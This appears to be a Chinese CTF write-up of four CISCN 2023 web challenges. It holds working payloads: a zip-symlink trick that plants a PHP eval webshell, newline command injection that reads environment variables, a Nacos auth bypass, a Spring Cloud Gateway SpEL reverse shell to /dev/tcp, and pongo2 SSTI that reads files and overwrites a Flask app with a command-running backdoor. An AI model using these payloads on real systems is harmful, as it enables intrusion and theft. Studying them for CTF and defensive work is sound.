CISCN2023 部分web
unzip

源码
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); };
|
利用unzip -o的覆盖功能,创建两个压缩包,第一个上传链接到/var/www/html的软链接test,第二次上传一个目录test,test里面有小马。
上传上去就相当于,将test目录中的内容覆盖到/var/www/html,即可getshell
第一个压缩包:
1 2
| ln -s /var/www/html test zip --symlinks test.zip ./*
|
第二个压缩包:
1 2 3
| mkdir test echo "<?php @eval(\$_GET[0]);?>" > test/s.php zip -r test1.zip ./*
|
先上传第一个压缩包,再传第二个

dumpit

1 2 3 4 5 6 7
| use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc: ?db=ctf&table_2_query=flag1
|
前期花费了大量的时间在?db=&table_2_query= 上。。。但是query能查的dump好像都能拿
内容:
1 2 3 4 5 6 7 8
| -- MariaDB dump 10.19 Distrib 10.5.19-MariaDB, for debian-linux-gnu (x86_64) -- -- Host: localhost Database: mysql -- ------------------------------------------------------ -- Server version 10.5.19-MariaDB-0+deb11u2
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
|
前面给出的应该是工具的名字
搜索一下mariadb-dump - MariaDB Knowledge Base

可以看到是在shell环境执行的(mysqldump也一样
所以开始想能不能在这里rce。本来是使用分号,但是这里过滤了(回显nop
%0a可以rce
1 2
| %0a命令%0a ?db=&table_2_dump=%0acat index.php%0a
|
直接读根目录flag不行(估计无权限
读环境变量
1
| ?db=&table_2_dump=%0acat /proc/self/environ%0a
|

BackendService
1 2 3 4 5 6 7
| 题目内容:
小明拿到了内网一个老旧服务的应用包,虽然有漏洞但是怎么利用他呢?[注意:平台题目下发后请访问/nacos路由]
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
[附件下载](https://pan.baidu.com/s/1ZlPZs70up7dceFXzJFcSMw) 提取码(GAME)[备用下载](https://share.weiyun.com/HwNmSrkB)
|

阿里的一个开源项目nacos,
首先利用CVE-2021-29441拿到权限
/nacos/v1/auth/users
改UA为Nacos-Server

这样就成功了(有些帖子是用GET的,不行

登陆系统后,参考这篇Nacos结合Spring Cloud Gateway RCE利用 - 先知社区 (aliyun.com)
spring cloud rce
一开始以为要本地启服务,但是不用。
它的内网已经启动了服务,那个jar包没找到啥路由,有用的信息只有他的配置
1 2 3 4 5 6 7 8 9 10
| spring: cloud: nacos: discovery: server-addr: 127.0.0.1:8888 config: name: backcfg file-extension: json group: DEFAULT_GROUP server-addr: 127.0.0.1:8888
|
这里记住name为backcfg,group为DEFAULT_GROUP,
根据文章操作,改写文中的exp反弹shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| { "spring": { "cloud": { "gateway": { "routes": [ { "id": "exam", "order": 0, "uri": "lb://service-provider", "predicates": [ "Path=/echo/**" ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/vps<&1'))).replaceAll('\n','').replaceAll('\r','')}" } } ] } ] } } } }
|
上传json格式的exp
上传可能会报错,使用nacos上传配置文件报错 - 挎木剑的游侠儿 - 博客园 (cnblogs.com)
( 压缩算法也会影响,bandzip就不行)
先创建一个DEFAULT_GROUP文件夹,其中的配置文件名为backcfg,内容为exp的。
打包成压缩包,导入

编辑配置文件,将要执行的exp内容换上去,发布,

然后等待触发

上线后直接读flag就行了。
go_session(复现)
踩坑
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package route
import ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" )
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, guest") }
func Admin(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } name := c.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, out) }
func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body)
c.String(200, string(body)) }
|
很明显的思路是绕过session,打pongo2的SSTI,pongo2是完全兼容django的,可以用django的SSTI打。
当时光看了源码,下午实在没题出了才回去看go。
后面本地起了环境,试了一下把本地生成的admin cookie换上靶机里,发现居然能通过。。。(因为env里secret_key为空
SSTI payload
1 2 3 4 5 6 7 8
| GET /admin?name=%0A%7B%25%20%20for%20obj%2Cv%20%20in%20c.Request.Header%20%25%7D%0A%7B%25%20if%20obj%7Clength%20%3D%3D%201%20%25%7D%0A%7B%7Bobj%7D%7D%0A%7B%7Bv%5B0%5D%7D%7D%0A%7B%25%20include%20v%5B0%5D%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D%0A HTTP/1.1 Host: node1.anna.nssctf.cn:28987 User-Agent: python-requests/2.28.1 Accept-Encoding: gzip, deflate Accept: */* Connection: close u: /app/server.py Cookie: session-name=MTY4NTE2NjIyNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxMUPYZLIpAEqzpUhq6QOq8H1xraN71DUDhhVao6O6OUw==
|
这里主要问题是过滤了单双引号,
用的header绕过(这里用的是gin框架的gin.Context.Request),

使用的django的include标签,可实现任意文件读取,但是读不到flag。
然后再看flask路由
/flask?name=

泄露了源码位置/app/server.py
1 2 3 4 5 6 7 8 9 10
| from flask import * app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] return name + " no ssti"
if __name__== "__main__": app.run(host="0.0.0.0",port=5000,debug=True)
|
后面在这里卡了一个小时,因为一直以为是flask算pin,rce。
算pin的时候出了问题,pin没对。。(第二天重新开了靶机试一下,才发现是靶机的问题
但是pin码就算算对了也不行,也不能rce,flask那个路由传递不了cookie。
复现
赛后看西电大佬的题解做的(感谢!),NSS有上这题,很棒。
原来5000端口的debug开启作用是因为debug模式下检测到文件变动会自动重启服务器(忘了考虑这点。
SSTI可以覆盖/app/server.py文件,从而实现rce。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Get(c.Request.Method)),c.Request.Header.Get(c.Request.Method))}} HTTP/1.1 Host: node1.anna.nssctf.cn:28612 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKsmlEi4Sn0IQ8yA Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Cookie:session-name=MTY4NTE2NjIyNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxMUPYZLIpAEqzpUhq6QOq8H1xraN71DUDhhVao6O6OUw== Connection: close GET:/app/server.py Content-Length: 464
------WebKitFormBoundarypKsmlEi4Sn0IQ8yA Content-Disposition:form-data;name="/app/server.py";filename="server.py" Content-Type: text/x-python-script
from flask import * import os app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] result=os.popen(name).read() return result + " no ssti"
if __name__== "__main__": app.run(host="0.0.0.0",port=5000,debug=True)
------WebKitFormBoundarypKsmlEi4Sn0IQ8yA--
|
(注意这里host和port要设置好)保证flask那个路由能访问上,然后就可以rce了
1
| /flask?name=/?name=ls%2520%252F
|
(这里需要二次url编码)

flag在env里
payload解读
在Context中提供了FormFile用于获取上传文件的基本信息,提供了SaveUploadedFile用于实现文件的保存。
从网上copy的一段代码,出处贴在文末
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| func TestRecFile(engine *gin.Engine) { engine.MaxMultipartMemory = 8 << 20 engine.POST("/file", func(c *gin.Context) { `file, err := c.FormFile("img")` if err != nil { c.JSON(500, gin.H{"err": err}) return } dst := "./tmp/"+file.Filename fmt.Println(dst) err = context.SaveUploadedFile(file, dst) if err != nil { c.JSON(500, gin.H{"err": "文件保存失败: " + err.Error()}) return } c.JSON(200, gin.H{ "msg": "success", "name": file.Filename, "size": file.Size, }) }) }
|
context.SaveUploadedFile接收两个参数,第一个为文件内容,第二个为上传的文件路径(也就是要覆盖的/app/server.py),代码里的file=c.FormFile(就是用来解析上传的文件的
1
| {{c.SaveUploadedFile(c.FormFile(c.Request.Header.Get(c.Request.Method)),c.Request.Header.Get(c.Request.Method))}}
|
这段payload也就是将获取到的文件上传表单数据上传到c.Request.Method(设置一个名为GET的header)指定的位置
c.FormFile(‘/app/server.py’)

FormFile第一个参数和表单里的name需要对应,不然就会报错no such file。
这里是为了图方便所以直接复用/app/server.py,而不是必须用这个路径,只需要能在下方表单里找到对应的就行。(可以自己本地去掉waf试一下)
建议自己搭一下环境,也就起一下go和flask两个环境就可以了。

总结
总得来说体验还是不错的,学到了很多东西,就是go_session有点遗憾。此外这次比赛也让我更加相信,开发与安全是密不可分的。
参考
[Go package] Gin 的 context 解析 - 掘金 (juejin.cn)
Django include Tag (w3schools.com)
「Go 框架」深入理解 gin 框中 Context 的 Request 和 Writer 对象 - 掘金 (juejin.cn)
Gin源码分析 (8)- Context之FormFile - 知乎 (zhihu.com)